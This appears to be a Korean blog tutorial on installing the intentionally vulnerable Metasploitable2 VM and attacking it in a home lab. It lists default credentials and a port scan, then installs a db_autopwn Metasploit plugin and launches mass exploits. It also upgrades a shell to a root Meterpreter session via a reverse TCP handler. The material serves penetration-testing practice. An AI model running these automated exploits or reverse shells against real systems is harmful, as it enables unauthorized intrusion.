가상 Pentest 환경 구성을 위한 metasploitable2 설치

가상 환경에서의 Pentest 어떻게 생각하시나요? 분명 실제 상황과 느낌도 다르고 불안한감도 없어 장난감 같은 느낌이 들겁니다. 사람이 미리 취약하게 만들어둔 시스템을 공격하는게 무슨 의미가 있는가 라는 질문도 받습니다.

목검은 다듬어진 나무지만 누가쥐느냐에 따라 장난감일 수도 있고, 무기일 수도 있습니다. 숙련된 사람이라면 분명 목검만으로도 굉장한 위력을 보여줄 수 있겠죠. 마찬가지로 가상환경에서의 반복적인 연습이 실제 침투에 속도와 정확성 등 도움이 될 부분이 많다고 생각합니다.

오늘은 잘 만들어진 가상환경에 대해 이야기할까 합니다. 바로 metasploitable입니다.

metasploitable2 설치

metasploitable은 metasploit 측에서 제공하는 취약한 VM입니다. 연습용 가상머신으로 보면 좋지요. 이것저것 가지고 놀기에 심플하고 좋으니 하나의 환경으로 애용해주면 좋을 것 같네요. 현재 metasploitable은 소스포지에서 다운로드가 가능합니다.

  • https://sourceforge.net/projects/metasploitable/

접속 후 파일을 다운로드합니다. 압축을 해제하면 vmdk와 여러 가상머신 파일이 나옵니다. Vmware 기준으로 만들어졌기 때문에 Vmware를 사용하시는 분은 바로 로드하시면 되고 VirtualBox 유저는 vdi로 변환해서 가상머신에 올려주시면 됩니다.

unzip metasploitable-linux-2.0.0.zip
cd Metasploitable2-Linux

※ VirtualBox

vboxmanage clonehd --format VDI Metasploitable.vmdk Metasploitable.vdi

vdi 파일로 변경하였으면 이제 VirtualBox에서 사용할 수 있기 때문에 가상머신을 만들어줍니다. 하드디스크만 해당 vdi 파일로 적용해주시면 되요.

metasploitable 계정정보는 아래와 같습니다. 물론 알아도 그만 몰라도 그만이지만요.

  • user: msfadmin
  • pass: msfadmin

※ 주의 / 답안지 느낌이니 안보시는걸 추천(혹시라도 궁금할때 보세요)

끝났습니다. 로그인해서 ip 정보 확인하고 바로 테스트를 시작하면 됩니다.

host            port  proto  name          state  info
----            ----  -----  ----          -----  ----
192.168.56.101  21    tcp    ftp           open  
192.168.56.101  22    tcp    ssh           open   SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
192.168.56.101  23    tcp    telnet        open  
192.168.56.101  25    tcp    smtp          open   220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

192.168.56.101  53    tcp    domain        open  
192.168.56.101  80    tcp    http          open   Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
192.168.56.101  111   tcp    rpcbind       open  
192.168.56.101  139   tcp    netbios-ssn   open  
192.168.56.101  445   tcp    microsoft-ds  open  
192.168.56.101  512   tcp    exec          open  
192.168.56.101  513   tcp    login         open  
192.168.56.101  514   tcp    shell         open  
192.168.56.101  1099  tcp    java-rmi      open   Java RMI Registry
192.168.56.101  1524  tcp    ingreslock    open  
192.168.56.101  2049  tcp    nfs           open  
192.168.56.101  2121  tcp    ccproxy-ftp   open  
192.168.56.101  3306  tcp    mysql         open   5.0.51a-3ubuntu5
192.168.56.101  5432  tcp    postgres      open   PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
192.168.56.101  5900  tcp    vnc           open   VNC protocol version [3, 4].3
192.168.56.101  6000  tcp    x11           open  
192.168.56.101  6667  tcp    irc           open  
192.168.56.101  8009  tcp    ajp13         open  
192.168.56.101  8180  tcp    unknown       open  

Test

Install db_autopwn

8월쯤에 autopwn 관련해서 글을 작성한적이 있습니다. 성능테스트 해볼겸 사용해봅시다.

먼저 autopwn을 Metasploit 플러그인으로 넣어둡니다. (autopwn의 위험성으로 공식 배포에선 빠졌습니다)

git clone https://github.com/hahwul/metasploit-db_autopwn
cd metasploit-db_autopwn
mv db_autopwn.rb [metasploit_directory]/plugin

or

wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
mv db_autopwn.rb [metasploit_directory]/plugin

불러보면,

HAHWUL exploit(ghost_glibc_remote_exploit) > load db_autopwn
[*] Successfully loaded plugin: db_autopwn

[*] Usage: db_autopwn [options]
-h          Display this help text
-t          Show all matching exploit modules
-x          Select modules based on vulnerability references
-p          Select modules based on open ports
-e          Launch exploits against all matched targets
-r          Use a reverse connect shell
-b          Use a bind shell on a random port (default)
-q          Disable exploit module output
-R  [rank]  Only run modules with a minimal rank
-I  [range] Only exploit hosts inside this range
-X  [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m  [regex] Only run modules whose name matches the regex
-T  [secs]  Maximum runtime for any exploit in seconds

잘되네요.

Exploit! autopwn!

테스트를 해봅시다.

HAHWUL exploit(ghost_glibc_remote_exploit) > db_autopwn -p -R great -e -q 192.168.56.101
[-] The db_autopwn command is DEPRECATED
[-] See http://r-7.co/xY65Zr instead
[*] (1/533 [0 sessions]): Launching exploit/freebsd/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (2/533 [0 sessions]): Launching exploit/linux/ftp/proftp_sreplace against 192.168.56.101:21...
[*] (3/533 [0 sessions]): Launching exploit/linux/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (4/533 [0 sessions]): Launching exploit/multi/ftp/wuftpd_site_exec_format against 192.168.56.101:21...
[*] (5/533 [0 sessions]): Launching exploit/unix/ftp/proftpd_133c_backdoor against 192.168.56.101:21...
[*] (6/533 [0 sessions]): Launching exploit/unix/ftp/vsftpd_234_backdoor against 192.168.56.101:21...
[*] (7/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_cwd_fixret against 192.168.56.101:21...
[*] (8/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_list_fixret against 192.168.56.101:21...
[*] (9/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_mkd_fixret against 192.168.56.101:21...

....

*]  >> autopwn module timeout from exploit/linux/http/pineapple_preconfig_cmdinject after 151.61710667610168 seconds
[*]  >> autopwn module timeout from exploit/linux/http/webcalendar_settings_exec after 150.63282704353333 seconds
[*]  >> autopwn module timeout from exploit/linux/http/trueonline_p660hn_v1_rce after 150.87934255599976 seconds
[*] (533/533 [1 sessions]): Waiting on 136 launched modules to finish execution...
[*]  >> autopwn module timeout from exploit/linux/http/sophos_wpa_sblistpack_exec after 151.77907156944275 seconds
[*]  >> autopwn module timeout from exploit/linux/http/pandora_fms_exec after 152.29020595550537 seconds

중간중간 잡힙니다.

2개 잡혀있네요. 아예 못잡는건 아니지만 생각보단 잘 찾지 못하네요.

HAHWUL exploit(ghost_glibc_remote_exploit) > use post/multi/manage/shell_to_meterpreter
HAHWUL post(shell_to_meterpreter) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
HAHWUL post(shell_to_meterpreter) > set SESSION 2
SESSION => 2
HAHWUL post(shell_to_meterpreter) > run

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.1:4433
[*] Sending stage (826872 bytes) to 192.168.56.101
[*] Meterpreter session 3 opened (192.168.56.1:4433 -> 192.168.56.101:48732) at 2017-10-20 23:40:14 +0900
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
HAHWUL post(shell_to_meterpreter) > 
HAHWUL post(shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Type                   Information                                                Connection
  --  ----                   -----------                                                ----------
  2   shell cmd/unix                                                                    192.168.56.1:38018 -> 192.168.56.101:19274 (192.168.56.101)
  3   meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  192.168.56.1:4433 -> 192.168.56.101:48732 (192.168.56.101)